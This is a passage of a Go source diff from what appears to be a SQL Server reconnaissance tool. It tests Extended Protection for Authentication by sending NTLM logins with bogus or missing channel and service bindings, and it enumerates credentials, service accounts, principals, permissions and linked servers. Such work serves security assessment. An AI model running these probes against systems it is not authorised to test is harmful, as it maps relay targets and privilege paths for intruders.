c.buildConnectionStringForStrategy(c.hostname, encrypt, true, c.hostname, "") +} + +// SetVerbose enables or disables verbose logging +func (c *Client) SetVerbose(verbose bool) { + c.verbose = verbose +} + +// SetDebug enables or disables debug logging (EPA/TLS/NTLM diagnostics) +func (c *Client) SetDebug(debug bool) { + c.debug = debug +} + +func (c *Client) SetCollectFromLinkedServers(collect bool) { + c.collectFromLinkedServers = collect +} + +// SetDomain sets the domain for NTLM authentication (needed for EPA testing) +func (c *Client) SetDomain(domain string) { + c.domain = domain +} + +// SetLDAPCredentials sets the LDAP credentials used for EPA testing. +// The ldapUser can be in DOMAIN\user or user@domain format. +func (c *Client) SetLDAPCredentials(ldapUser, ldapPassword string) { + c.ldapUser = ldapUser + c.ldapPassword = ldapPassword +} + +// SetDNSResolver sets a custom DNS resolver IP (e.g. domain controller) for hostname lookups. +func (c *Client) SetDNSResolver(resolver string) { + c.dnsResolver = resolver +} + +// SetProxyDialer sets a SOCKS5 proxy dialer for all network operations. +func (c *Client) SetProxyDialer(d interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) +}) { + c.proxyDialer = d +} + +// SetEPAResult stores a pre-computed EPA test result on the client. +// When set, collectEncryptionSettings will use this instead of running EPA tests. +func (c *Client) SetEPAResult(result *EPATestResult) { + c.epaResult = result +} + +// logVerbose logs a message only if verbose mode is enabled +func (c *Client) logVerbose(format string, args ...interface{}) { + if c.verbose { + fmt.Printf(format+"\n", args...) + } +} + +// logDebug logs a message only if debug mode is enabled +func (c *Client) logDebug(format string, args ...interface{}) { + if c.debug { + fmt.Printf(format+"\n", args...) + } +} + +// EPAPrereqError indicates that the EPA prerequisite check failed. +// When this error is returned, no further EPA tests or MSSQL authentication +// attempts should be made (to match the Python mssql.py flow and avoid +// account lockout with invalid credentials). +type EPAPrereqError struct { + Err error +} + +func (e *EPAPrereqError) Error() string { + return e.Err.Error() +} + +func (e *EPAPrereqError) Unwrap() error { + return e.Err +} + +// IsEPAPrereqError checks if an error is an EPA prerequisite failure. +func IsEPAPrereqError(err error) bool { + var prereqErr *EPAPrereqError + return errors.As(err, &prereqErr) +} + +// EPATestResult holds the results of EPA connection testing +type EPATestResult struct { + UnmodifiedSuccess bool + NoSBSuccess bool + NoCBTSuccess bool + ForceEncryption bool + StrictEncryption bool + EncryptionFlag byte + EPAStatus string +} + +// TestEPA performs Extended Protection for Authentication testing using raw +// TDS+TLS+NTLM connections with controllable Channel Binding and Service Binding. +// This matches the approach used in the Python reference implementation +// (MssqlExtended.py / MssqlInformer.py). +// +// For encrypted connections (ENCRYPT_REQ): tests channel binding manipulation +// For unencrypted connections (ENCRYPT_OFF): tests service binding manipulation +func (c *Client) TestEPA(ctx context.Context) (*EPATestResult, error) { + result := &EPATestResult{} + + // EPA testing requires LDAP/domain credentials for NTLM authentication. + // These are separate from the SQL auth credentials (-u/-p). + if c.ldapUser == "" || c.ldapPassword == "" { + return nil, fmt.Errorf("EPA testing requires LDAP credentials (--ldap-user and --ldap-password)") + } + + // Parse domain and username from LDAP user (DOMAIN\user or user@domain format) + epaDomain, epaUsername := parseLDAPUser(c.ldapUser, c.domain) + if epaDomain == "" { + return nil, fmt.Errorf("EPA testing requires a domain (from --ldap-user DOMAIN\\user or --domain)") + } + + c.logVerbose("EPA credentials: domain=%q, username=%q", epaDomain, epaUsername) + + // Resolve port if needed + port := c.port + if port == 0 && c.instanceName != "" { + resolvedPort, err := c.resolveInstancePort(ctx) + if err != nil { + return nil, fmt.Errorf("failed to resolve instance port: %w", err) + } + port = resolvedPort + } + if port == 0 { + port = 1433 + } + + c.logVerbose("Testing EPA settings for %s", c.serverInstance) + + // Build a base config using LDAP credentials + baseConfig := func(mode EPATestMode) *EPATestConfig { + return &EPATestConfig{ + Hostname: c.hostname, Port: port, InstanceName: c.instanceName, + Domain: epaDomain, Username: epaUsername, Password: c.ldapPassword, + TestMode: mode, Verbose: c.verbose, Debug: c.debug, + DNSResolver: c.dnsResolver, + ProxyDialer: c.proxyDialer, + } + } + + // Step 1: Detect encryption mode and run prerequisite check + c.logVerbose(" Running prerequisite check with normal login...") + prereqResult, encFlag, err := runEPATest(ctx, baseConfig(EPATestNormal)) + if err != nil { + // The normal TDS 7.x PRELOGIN failed. This may indicate the server + // enforces TDS 8.0 strict encryption (TLS before any TDS messages). + c.logVerbose(" Normal PRELOGIN failed (%v), trying TDS 8.0 strict encryption flow...", err) + strictPrereqResult, strictEncFlag, strictErr := runEPATestStrict(ctx, baseConfig(EPATestNormal)) + if strictErr != nil { + return nil, &EPAPrereqError{Err: fmt.Errorf("EPA prereq check failed (tried normal and TDS 8.0 strict): normal=%v, strict=%v", err, strictErr)} + } + // TDS 8.0 strict encryption confirmed - validate prereq result + if !strictPrereqResult.Success && !strictPrereqResult.IsLoginFailed { + if strictPrereqResult.IsUntrustedDomain { + return nil, &EPAPrereqError{Err: fmt.Errorf("EPA prereq check failed (strict): credentials rejected (untrusted domain)")} + } + return nil, &EPAPrereqError{Err: fmt.Errorf("EPA prereq check failed (strict): unexpected response: %s", strictPrereqResult.ErrorMessage)} + } + result.UnmodifiedSuccess = strictPrereqResult.Success + result.EncryptionFlag = encryptStrict + result.StrictEncryption = true + result.ForceEncryption = strictEncFlag == encryptReq + c.logVerbose(" Server uses TDS 8.0 strict encryption") + c.logVerbose(" Encryption flag (from strict PRELOGIN): 0x%02X", strictEncFlag) + c.logVerbose(" Strict Encryption (TDS 8.0): Yes") + c.logVerbose(" Force Encryption: %s", boolToYesNo(result.ForceEncryption)) + c.logVerbose(" Unmodified connection (strict): %s", boolToSuccessFail(strictPrereqResult.Success)) + + // Determine EPA enforcement via channel binding tests over strict TLS. + // Strict mode is always encrypted, so test channel binding (like encryptReq path). + c.logVerbose(" Conducting logins while manipulating channel binding av pair over strict encrypted connection") + + bogusResult, _, bogusErr := runEPATestStrict(ctx, baseConfig(EPATestBogusCBT)) + if bogusErr != nil { + c.logVerbose(" Bogus CBT test (strict) failed: %v", bogusErr) + result.EPAStatus = "Unknown" + return result, nil + } + + if bogusResult.IsUntrustedDomain { + // Bogus CBT rejected - EPA is enforcing channel binding + missingResult, _, missingErr := runEPATestStrict(ctx, baseConfig(EPATestMissingCBT)) + if missingErr != nil { + c.logVerbose(" Missing CBT test (strict) failed: %v", missingErr) + result.EPAStatus = "Unknown" + return result, nil + } + + result.NoCBTSuccess = missingResult.Success || missingResult.IsLoginFailed + if missingResult.IsUntrustedDomain { + result.EPAStatus = "Required" + c.logVerbose(" Extended Protection: Required (channel binding)") + } else { + result.EPAStatus = "Allowed" + c.logVerbose(" Extended Protection: Allowed (channel binding)") + } + } else { + // Bogus CBT accepted - EPA is Off + result.NoCBTSuccess = true + result.EPAStatus = "Off" + c.logVerbose(" Extended Protection: Off") + } + + return result, nil + } + + result.EncryptionFlag = encFlag + result.ForceEncryption = encFlag == encryptReq + + c.logVerbose(" Encryption flag: 0x%02X", encFlag) + c.logVerbose(" Force Encryption: %s", boolToYesNo(result.ForceEncryption)) + + // Prereq must succeed or produce "login failed" (valid credentials response) + if !prereqResult.Success && !prereqResult.IsLoginFailed { + if prereqResult.IsUntrustedDomain { + return nil, &EPAPrereqError{Err: fmt.Errorf("EPA prereq check failed: credentials rejected (untrusted domain)")} + } + return nil, &EPAPrereqError{Err: fmt.Errorf("EPA prereq check failed: unexpected response: %s", prereqResult.ErrorMessage)} + } + result.UnmodifiedSuccess = prereqResult.Success + c.logVerbose(" Unmodified connection: %s", boolToSuccessFail(prereqResult.Success)) + + // Step 2: Test based on encryption setting (matching Python mssql.py flow) + if encFlag == encryptReq { + // Encrypted path: test channel binding (matching Python lines 57-78) + c.logVerbose(" Conducting logins while manipulating channel binding av pair over encrypted connection") + + // Test with bogus CBT + bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusCBT)) + if err != nil { + return nil, fmt.Errorf("EPA bogus CBT test failed: %w", err) + } + + if bogusResult.IsUntrustedDomain { + // Bogus CBT rejected - EPA is enforcing channel binding + // Test with missing CBT to distinguish Allowed vs Required + missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingCBT)) + if err != nil { + return nil, fmt.Errorf("EPA missing CBT test failed: %w", err) + } + + result.NoCBTSuccess = missingResult.Success || missingResult.IsLoginFailed + if missingResult.IsUntrustedDomain { + result.EPAStatus = "Required" + c.logVerbose(" Extended Protection: Required (channel binding)") + } else { + result.EPAStatus = "Allowed" + c.logVerbose(" Extended Protection: Allowed (channel binding)") + } + } else { + // Bogus CBT accepted - EPA is Off + result.NoCBTSuccess = true + result.EPAStatus = "Off" + c.logVerbose(" Extended Protection: Off") + } + + } else if encFlag == encryptOff || encFlag == encryptOn { + // Unencrypted/optional path: test service binding (matching Python lines 80-103) + c.logVerbose(" Conducting logins while manipulating target service av pair over unencrypted connection") + + // Test with bogus service + bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusService)) + if err != nil { + return nil, fmt.Errorf("EPA bogus service test failed: %w", err) + } + + if bogusResult.IsUntrustedDomain { + // Bogus service rejected - EPA is enforcing service binding + // Test with missing service to distinguish Allowed vs Required + missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingService)) + if err != nil { + return nil, fmt.Errorf("EPA missing service test failed: %w", err) + } + + result.NoSBSuccess = missingResult.Success || missingResult.IsLoginFailed + if missingResult.IsUntrustedDomain { + result.EPAStatus = "Required" + c.logVerbose(" Extended Protection: Required (service binding)") + } else { + result.EPAStatus = "Allowed" + c.logVerbose(" Extended Protection: Allowed (service binding)") + } + } else { + // Bogus service accepted - EPA is Off + result.NoSBSuccess = true + result.EPAStatus = "Off" + c.logVerbose(" Extended Protection: Off") + } + } else { + result.EPAStatus = "Unknown" + c.logVerbose(" Extended Protection: Unknown (unsupported encryption flag 0x%02X)", encFlag) + } + + return result, nil +} + +// parseLDAPUser parses an LDAP user string in DOMAIN\user or user@domain format, +// returning the domain and username separately. If no domain is found in the user +// string, fallbackDomain is used. +func parseLDAPUser(ldapUser, fallbackDomain string) (domain, username string) { + if strings.Contains(ldapUser, "\\") { + parts := strings.SplitN(ldapUser, "\\", 2) + return parts[0], parts[1] + } + if strings.Contains(ldapUser, "@") { + parts := strings.SplitN(ldapUser, "@", 2) + return parts[1], parts[0] + } + return fallbackDomain, ldapUser +} + +// buildPreloginPacket creates a TDS PRELOGIN packet payload +func buildPreloginPacket() []byte { + // PRELOGIN options (simplified): + // VERSION: 0x00 + // ENCRYPTION: 0x01 + // INSTOPT: 0x02 + // THREADID: 0x03 + // MARS: 0x04 + // TERMINATOR: 0xFF + + // We'll send VERSION and ENCRYPTION options + var packet []byte + + // Calculate offsets (header is 5 bytes per option + 1 terminator) + // VERSION option header (5 bytes) + ENCRYPTION option header (5 bytes) + TERMINATOR (1 byte) = 11 bytes + dataOffset := 11 + + // VERSION option header: token=0x00, offset, length=6 + packet = append(packet, 0x00) // TOKEN_VERSION + packet = append(packet, byte(dataOffset>>8), byte(dataOffset)) // Offset (big-endian) + packet = append(packet, 0x00, 0x06) // Length = 6 + + // ENCRYPTION option header: token=0x01, offset, length=1 + packet = append(packet, 0x01) // TOKEN_ENCRYPTION + packet = append(packet, byte((dataOffset+6)>>8), byte(dataOffset+6)) // Offset + packet = append(packet, 0x00, 0x01) // Length = 1 + + // TERMINATOR + packet = append(packet, 0xFF) + + // VERSION data (6 bytes): major, minor, build (2 bytes), sub-build (2 bytes) + // Use SQL Server 2019 version format + packet = append(packet, 0x0F, 0x00, 0x07, 0xD0, 0x00, 0x00) // 15.0.2000.0 + + // ENCRYPTION data (1 byte): 0x00 = ENCRYPT_OFF, 0x01 = ENCRYPT_ON, 0x02 = ENCRYPT_NOT_SUP, 0x03 = ENCRYPT_REQ + packet = append(packet, 0x00) // We don't require encryption for this test + + return packet +} + +// buildTDSPacket wraps payload in a TDS packet header +func buildTDSPacket(packetType byte, payload []byte) []byte { + packetLen := len(payload) + 8 // 8-byte TDS header + + header := []byte{ + packetType, // Type + 0x01, // Status (EOM) + byte(packetLen >> 8), // Length (big-endian) + byte(packetLen), + 0x00, 0x00, // SPID + 0x00, // PacketID + 0x00, // Window + } + + return append(header, payload...) +} + +// resolveInstancePort resolves the port for a named SQL Server instance using SQL Browser +func (c *Client) resolveInstancePort(ctx context.Context) (int, error) { + if c.proxyDialer != nil { + return 0, fmt.Errorf("SQL Browser UDP resolution is not supported through a SOCKS5 proxy; please specify the port explicitly (e.g., host:port or host\\instance:port)") + } + + addr := fmt.Sprintf("%s:1434", c.hostname) // SQL Browser UDP port + + conn, err := net.DialTimeout("udp", addr, 5*time.Second) + if err != nil { + return 0, err + } + defer conn.Close() + + conn.SetDeadline(time.Now().Add(5 * time.Second)) + + // Send instance query: 0x04 + instance name + query := append([]byte{0x04}, []byte(c.instanceName)...) + if _, err := conn.Write(query); err != nil { + return 0, err + } + + // Read response + buf := make([]byte, 4096) + n, err := conn.Read(buf) + if err != nil { + return 0, err + } + + // Parse response - format: 0x05 + length (2 bytes) + data + // Data contains key=value pairs separated by semicolons + response := string(buf[3:n]) + parts := strings.Split(response, ";") + for i, part := range parts { + if strings.ToLower(part) == "tcp" && i+1 < len(parts) { + port, err := strconv.Atoi(parts[i+1]) + if err == nil { + return port, nil + } + } + } + + return 0, fmt.Errorf("port not found in SQL Browser response") +} + +// boolToYesNo converts a boolean to "Yes" or "No" +func boolToYesNo(b bool) string { + if b { + return "Yes" + } + return "No" +} + +// boolToSuccessFail converts a boolean to "success" or "failure" +func boolToSuccessFail(b bool) string { + if b { + return "success" + } + return "failure" +} + +// Close closes the database connection +func (c *Client) Close() error { + if c.db != nil { + return c.db.Close() + } + // PowerShell client doesn't need explicit cleanup + c.psClient = nil + c.usePowerShell = false + return nil +} + +// CollectServerInfo gathers all information about the SQL Server +func (c *Client) CollectServerInfo(ctx context.Context) (*types.ServerInfo, error) { + info := &types.ServerInfo{ + Hostname: c.hostname, + InstanceName: c.instanceName, + Port: c.port, + } + + // Get server properties + if err := c.collectServerProperties(ctx, info); err != nil { + return nil, fmt.Errorf("failed to collect server properties: %w", err) + } + + // Set initial ObjectIdentifier using hostname; the collector will resolve + // the computer SID via LDAP and update this to a SID-based identifier. + info.ObjectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(info.ServerName), info.Port) + + // Set SQLServerName for display purposes (FQDN:Port format) + info.SQLServerName = fmt.Sprintf("%s:%d", info.FQDN, info.Port) + + // Collect authentication mode + if err := c.collectAuthenticationMode(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect auth mode: %v\n", err) + } + + // Collect encryption settings (Force Encryption, Extended Protection) + if err := c.collectEncryptionSettings(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect encryption settings: %v\n", err) + } + + // Get service accounts + c.logVerbose("Collecting service account information from %s", c.serverInstance) + if err := c.collectServiceAccounts(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect service accounts: %v\n", err) + } + + // Get server-level credentials + c.logVerbose("Enumerating credentials...") + if err := c.collectCredentials(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect credentials: %v\n", err) + } + + // Get proxy accounts + c.logVerbose("Enumerating SQL Agent proxy accounts...") + if err := c.collectProxyAccounts(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect proxy accounts: %v\n", err) + } + + // Get server principals + c.logVerbose("Enumerating server principals...") + principals, err := c.collectServerPrincipals(ctx, info) + if err != nil { + return nil, fmt.Errorf("failed to collect server principals: %w", err) + } + info.ServerPrincipals = principals + + // Derive the domain SID from Active Directory principal SIDs. + // All domain principals share a common S-1-5-21-X-Y-Z prefix; the RID is the last segment. + if info.DomainSID == "" { + for _, p := range principals { + if p.IsActiveDirectoryPrincipal && strings.HasPrefix(p.SecurityIdentifier, "S-1-5-21-") { + if idx := strings.LastIndex(p.SecurityIdentifier, "-"); idx > 0 { + info.DomainSID = p.SecurityIdentifier[:idx] + c.logVerbose("Derived domain SID from principal %s: %s", p.Name, info.DomainSID) + break + } + } + } + } + + c.logVerbose("Checking for inherited high-privilege permissions through role memberships") + + // Get credential mappings for logins + if err := c.collectLoginCredentialMappings(ctx, principals, info); err != nil { + fmt.Printf("Warning: failed to collect login credential mappings: %v\n", err) + } + + // Get databases + databases, err := c.collectDatabases(ctx, info) + if err != nil { + return nil, fmt.Errorf("failed to collect databases: %w", err) + } + + // Collect database-scoped credentials for each database + for i := range databases { + if err := c.collectDBScopedCredentials(ctx, &databases[i]); err != nil { + fmt.Printf("Warning: failed to collect DB-scoped credentials for %s: %v\n", databases[i].Name, err) + } + } + info.Databases = databases + + // Get linked servers + c.logVerbose("Enumerating linked servers...") + linkedServers, err := c.collectLinkedServers(ctx) + if err != nil { + // Non-fatal - just log and continue + fmt.Printf("Warning: failed to collect linked servers: %v\n", err) + } + info.LinkedServers = linkedServers + + // Print discovered linked servers + // Note: linkedServers may contain duplicates due to multiple login mappings per server + // Deduplicate by Name for display purposes + if len(linkedServers) > 0 { + // Build a map of unique linked servers by Name + uniqueServers := make(map[string]types.LinkedServer) + for _, ls := range linkedServers { + if _, exists := uniqueServers[ls.Name]; !exists { + uniqueServers[ls.Name] = ls + } + } + + fmt.Printf("Discovered %d linked server(s):\n", len(uniqueServers)) + + // Print in consistent order (sorted by name) + var serverNames []string + for name := range uniqueServers { + serverNames = append(serverNames, name) + } + sort.Strings(serverNames) + + for _, name := range serverNames { + ls := uniqueServers[name] + fmt.Printf(" %s -> %s\n", info.Hostname, ls.Name) + + // Show skip message immediately after each server (matching PowerShell behavior) + if !c.collectFromLinkedServers { + fmt.Printf(" Skipping linked server enumeration (use -CollectFromLinkedServers to enable collection)\n") + } + + // Show detailed info only in verbose mode + c.logVerbose(" Name: %s", ls.Name) + c.logVerbose(" DataSource: %s", ls.DataSource) + c.logVerbose(" Provider: %s", ls.Provider) + c.logVerbose(" Product: %s", ls.Product) + c.logVerbose(" IsRemoteLoginEnabled: %v", ls.IsRemoteLoginEnabled) + c.logVerbose(" IsRPCOutEnabled: %v", ls.IsRPCOutEnabled) + c.logVerbose(" IsDataAccessEnabled: %v", ls.IsDataAccessEnabled) + c.logVerbose(" IsSelfMapping: %v", ls.IsSelfMapping) + if ls.LocalLogin != "" { + c.logVerbose(" LocalLogin: %s", ls.LocalLogin) + } + if ls.RemoteLogin != "" { + c.logVerbose(" RemoteLogin: %s", ls.RemoteLogin) + } + if ls.Catalog != "" { + c.logVerbose(" Catalog: %s", ls.Catalog) + } + } + } else { + c.logVerbose("No linked servers found") + } + + c.logVerbose("Processing enabled domain principals with CONNECT SQL permission") + c.logVerbose("Creating server principal nodes") + c.logVerbose("Creating database principal nodes") + c.logVerbose("Creating linked server nodes") + c.logVerbose("Creating domain principal nodes") + + return info, nil +} + +// collectServerProperties gets basic server information +func (c *Client) collectServerProperties(ctx context.Context, info *types.ServerInfo) error { + query := ` + SELECT + SERVERPROPERTY('ServerName') AS ServerName, + SERVERPROPERTY('MachineName') AS MachineName, + SERVERPROPERTY('InstanceName') AS InstanceName, + SERVERPROPERTY('ProductVersion') AS ProductVersion, + SERVERPROPERTY('ProductLevel') AS ProductLevel, + SERVERPROPERTY('Edition') AS Edition, + SERVERPROPERTY('IsClustered') AS IsClustered, + @@VERSION AS FullVersion + ` + + row := c.DBW().QueryRowContext(ctx, query) + + var serverName, machineName, productVersion, productLevel, edition, fullVersion sql.NullString + var instanceName sql.NullString + var isClustered sql.NullInt64 + + err := row.Scan(&serverName, &machineName, &instanceName, &productVersion, + &productLevel, &edition, &isClustered, &fullVersion) + if err != nil { + return err + } + + info.ServerName = serverName.String + if info.Hostname == "" { + info.Hostname = machineName.String + } + if instanceName.Valid { + info.InstanceName = instanceName.String + } + info.VersionNumber = productVersion.String + info.ProductLevel = productLevel.String + info.Edition = edition.String + info.Version = fullVersion.String + info.IsClustered = isClustered.Int64 == 1 + + // Try to get FQDN + if fqdn, err := net.LookupAddr(info.Hostname); err == nil && len(fqdn) > 0 { + info.FQDN = strings.TrimSuffix(fqdn[0], ".") + } else { + info.FQDN = info.Hostname + } + + return nil +} + +// collectServerPrincipals gets all server-level principals (logins and server roles) +func (c *Client) collectServerPrincipals(ctx context.Context, serverInfo *types.ServerInfo) ([]types.ServerPrincipal, error) { + query := ` + SELECT + p.principal_id, + p.name, + p.type_desc, + p.is_disabled, + p.is_fixed_role, + p.create_date, + p.modify_date, + p.default_database_name, + CONVERT(VARCHAR(85), p.sid, 1) AS sid, + p.owning_principal_id + FROM sys.server_principals p + WHERE p.type IN ('S', 'U', 'G', 'R', 'C', 'K') + ORDER BY p.principal_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var principals []types.ServerPrincipal + + for rows.Next() { + var p types.ServerPrincipal + var defaultDB, sid sql.NullString + var owningPrincipalID sql.NullInt64 + var isDisabled, isFixedRole sql.NullBool + + err := rows.Scan( + &p.PrincipalID, + &p.Name, + &p.TypeDescription, + &isDisabled, + &isFixedRole, + &p.CreateDate, + &p.ModifyDate, + &defaultDB, + &sid, + &owningPrincipalID, + ) + if err != nil { + return nil, err + } + + p.IsDisabled = isDisabled.Bool + p.IsFixedRole = isFixedRole.Bool + p.DefaultDatabaseName = defaultDB.String + // Convert hex SID to standard S-1-5-21-... format + p.SecurityIdentifier = convertHexSIDToString(sid.String) + p.SQLServerName = serverInfo.SQLServerName + + if owningPrincipalID.Valid { + p.OwningPrincipalID = int(owningPrincipalID.Int64) + } + + // Determine if this is an AD principal + // Match PowerShell logic: must be WINDOWS_LOGIN or WINDOWS_GROUP, and name must contain backslash + // but NOT be NT SERVICE\*, NT AUTHORITY\*, BUILTIN\*, or MACHINENAME\* + isWindowsType := p.TypeDescription == "WINDOWS_LOGIN" || p.TypeDescription == "WINDOWS_GROUP" + hasBackslash := strings.Contains(p.Name, "\\") + isNTService := strings.HasPrefix(strings.ToUpper(p.Name), "NT SERVICE\\") + isNTAuthority := strings.HasPrefix(strings.ToUpper(p.Name), "NT AUTHORITY\\") + isBuiltin := strings.HasPrefix(strings.ToUpper(p.Name), "BUILTIN\\") + // Check if it's a local machine account (MACHINENAME\*) + machinePrefix := strings.ToUpper(serverInfo.Hostname) + "\\" + if strings.Contains(serverInfo.Hostname, ".") { + // Extract just the machine name from FQDN + machinePrefix = strings.ToUpper(strings.Split(serverInfo.Hostname, ".")[0]) + "\\" + } + isLocalMachine := strings.HasPrefix(strings.ToUpper(p.Name), machinePrefix) + + p.IsActiveDirectoryPrincipal = isWindowsType && hasBackslash && + !isNTService && !isNTAuthority && !isBuiltin && !isLocalMachine + + // Generate object identifier: Name@ServerObjectIdentifier + p.ObjectIdentifier = fmt.Sprintf("%s@%s", p.Name, serverInfo.ObjectIdentifier) + + principals = append(principals, p) + } + + // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID + principalMap := make(map[int]*types.ServerPrincipal) + for i := range principals { + principalMap[principals[i].PrincipalID] = &principals[i] + } + for i := range principals { + if principals[i].OwningPrincipalID > 0 { + if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok { + principals[i].OwningObjectIdentifier = owner.ObjectIdentifier + } + } + } + + // Get role memberships for each principal + if err := c.collectServerRoleMemberships(ctx, principals, serverInfo); err != nil { + return nil, err + } + + // Get permissions for each principal + if err := c.collectServerPermissions(ctx, principals, serverInfo); err != nil { + return nil, err + } + + return principals, nil +} + +// collectServerRoleMemberships gets role memberships for server principals +func (c *Client) collectServerRoleMemberships(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error { + query := ` + SELECT + rm.member_principal_id, + rm.role_principal_id, + r.name AS role_name + FROM sys.server_role_members rm + JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + ORDER BY rm.member_principal_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build a map of principal ID to index for quick lookup + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var memberID, roleID int + var roleName string + + if err := rows.Scan(&memberID, &roleID, &roleName); err != nil { + return err + } + + if idx, ok := principalMap[memberID]; ok { + membership := types.RoleMembership{ + ObjectIdentifier: fmt.Sprintf("%s@%s", roleName, serverInfo.ObjectIdentifier), + Name: roleName, + PrincipalID: roleID, + } + principals[idx].MemberOf = append(principals[idx].MemberOf, membership) + } + + // Also track members for role principals + if idx, ok := principalMap[roleID]; ok { + memberName := "" + if memberIdx, ok := principalMap[memberID]; ok { + memberName = principals[memberIdx].Name + } + principals[idx].Members = append(principals[idx].Members, memberName) + } + } + + // Add implicit public role membership for all logins + // SQL Server has implicit membership in public role for all logins + publicRoleOID := fmt.Sprintf("public@%s", serverInfo.ObjectIdentifier) + for i := range principals { + // Only add for login types, not for roles + if principals[i].TypeDescription != "SERVER_ROLE" { + // Check if already a member of public + hasPublic := false + for _, m := range principals[i].MemberOf { + if m.Name == "public" { + hasPublic = true + break + } + } + if !hasPublic { + membership := types.RoleMembership{ + ObjectIdentifier: publicRoleOID, + Name: "public", + PrincipalID: 2, // public role always has principal_id = 2 at server level + } + principals[i].MemberOf = append(principals[i].MemberOf, membership) + } + } + } + + return nil +} + +// collectServerPermissions gets explicit permissions for server principals +func (c *Client) collectServerPermissions(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error { + query := ` + SELECT + p.grantee_principal_id, + p.permission_name, + p.state_desc, + p.class_desc, + p.major_id, + COALESCE(pr.name, '') AS grantor_name + FROM sys.server_permissions p + LEFT JOIN sys.server_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'SERVER_PRINCIPAL' + WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY') + ORDER BY p.grantee_principal_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build a map of principal ID to index + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var granteeID, majorID int + var permName, stateDesc, classDesc, grantorName string + + if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &grantorName); err != nil { + return err + } + + if idx, ok := principalMap[granteeID]; ok { + perm := types.Permission{ + Permission: permName, + State: stateDesc, + ClassDesc: classDesc, + } + + // If permission is on a principal, set target info + if classDesc == "SERVER_PRINCIPAL" && majorID > 0 { + perm.TargetPrincipalID = majorID + perm.TargetName = grantorName + if targetIdx, ok := principalMap[majorID]; ok { + perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier + } + } + + principals[idx].Permissions = append(principals[idx].Permissions, perm) + } + } + + // Add predefined permissions for fixed server roles that aren't handled by createFixedRoleEdges + // These are implicit permissions that aren't stored in sys.server_permissions + // NOTE: sysadmin and securityadmin permissions are NOT added here because + // createFixedRoleEdges already handles edge creation for those roles by name + fixedServerRolePermissions := map[string][]string{ + // sysadmin - handled by createFixedRoleEdges, don't add CONTROL SERVER here + // securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY LOGIN here + "##MS_LoginManager##": {"ALTER ANY LOGIN"}, + "##MS_DatabaseConnector##": {"CONNECT ANY DATABASE"}, + } + + for i := range principals { + if principals[i].IsFixedRole { + if perms, ok := fixedServerRolePermissions[principals[i].Name]; ok { + for _, permName := range perms { + // Check if permission already exists (skip duplicates) + exists := false + for _, existingPerm := range principals[i].Permissions { + if existingPerm.Permission == permName { + exists = true + break + } + } + if !exists { + perm := types.Permission{ + Permission: permName, + State: "GRANT", + ClassDesc: "SERVER", + } + principals[i].Permissions = append(principals[i].Permissions, perm) + } + } + } + } + } + + return nil +} + +// collectDatabases gets all accessible databases and their principals +func (c *Client) collectDatabases(ctx context.Context, serverInfo *types.ServerInfo) ([]types.Database, error) { + query := ` + SELECT + d.database_id, + d.name, + d.owner_sid, + SUSER_SNAME(d.owner_sid) AS owner_name, + d.create_date, + d.compatibility_level, + d.collation_name, + d.is_read_only, + d.is_trustworthy_on, + d.is_encrypted + FROM sys.databases d + WHERE d.state = 0 -- ONLINE + ORDER BY d.database_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var databases []types.Database + + for rows.Next() { + var db types.Database + var ownerSID []byte + var ownerName, collation sql.NullString + + err := rows.Scan( + &db.DatabaseID, + &db.Name, + &ownerSID, + &ownerName, + &db.CreateDate, + &db.CompatibilityLevel, + &collation, + &db.IsReadOnly, + &db.IsTrustworthy, + &db.IsEncrypted, + ) + if err != nil { + return nil, err + } + + db.OwnerLoginName = ownerName.String + db.CollationName = collation.String + db.SQLServerName = serverInfo.SQLServerName + // Database ObjectIdentifier format: ServerObjectIdentifier\DatabaseName (like PowerShell) + db.ObjectIdentifier = fmt.Sprintf("%s\\%s", serverInfo.ObjectIdentifier, db.Name) + + // Find owner principal ID + for _, p := range serverInfo.ServerPrincipals { + if p.Name == db.OwnerLoginName { + db.OwnerPrincipalID = p.PrincipalID + db.OwnerObjectIdentifier = p.ObjectIdentifier + break + } + } + + databases = append(databases, db) + } + + // Collect principals for each database + // Only keep databases where we successfully collected principals (matching PowerShell behavior) + var successfulDatabases []types.Database + for i := range databases { + c.logVerbose("Processing database: %s", databases[i].Name) + principals, err := c.collectDatabasePrincipals(ctx, &databases[i], serverInfo) + if err != nil { + fmt.Printf("Warning: failed to collect principals for database %s: %v\n", databases[i].Name, err) + // PowerShell doesn't add databases where it can't access principals, + // so we skip them here to match that behavior + continue + } + databases[i].DatabasePrincipals = principals + successfulDatabases = append(successfulDatabases, databases[i]) + } + + return successfulDatabases, nil +} + +// collectDatabasePrincipals gets all principals in a specific database +func (c *Client) collectDatabasePrincipals(ctx context.Context, db *types.Database, serverInfo *types.ServerInfo) ([]types.DatabasePrincipal, error) { + // Query all principals using 